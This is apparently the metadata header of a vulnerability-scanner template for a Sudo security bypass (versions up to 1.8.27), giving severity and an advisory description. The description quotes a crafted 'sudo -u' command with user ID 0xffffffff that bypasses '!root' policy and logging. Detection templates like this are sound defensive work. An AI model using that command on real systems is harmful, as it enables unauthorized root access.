info:
|
|
name: Sudo <= 1.8.27 - Security Bypass
|
|
author: daffainfo

severity: high

description: |
|
|
In Sudo before 1.8.28, an attacker with access to a Runas ALL sudoer account can bypass certain policy blacklists and session PAM modules, and can cause incorrect logging, by invoking sudo with a crafted user ID. For example, this allows bypass of !root configuration, and USER= logging, for a "sudo -u \#$((0xffffffff))" command.
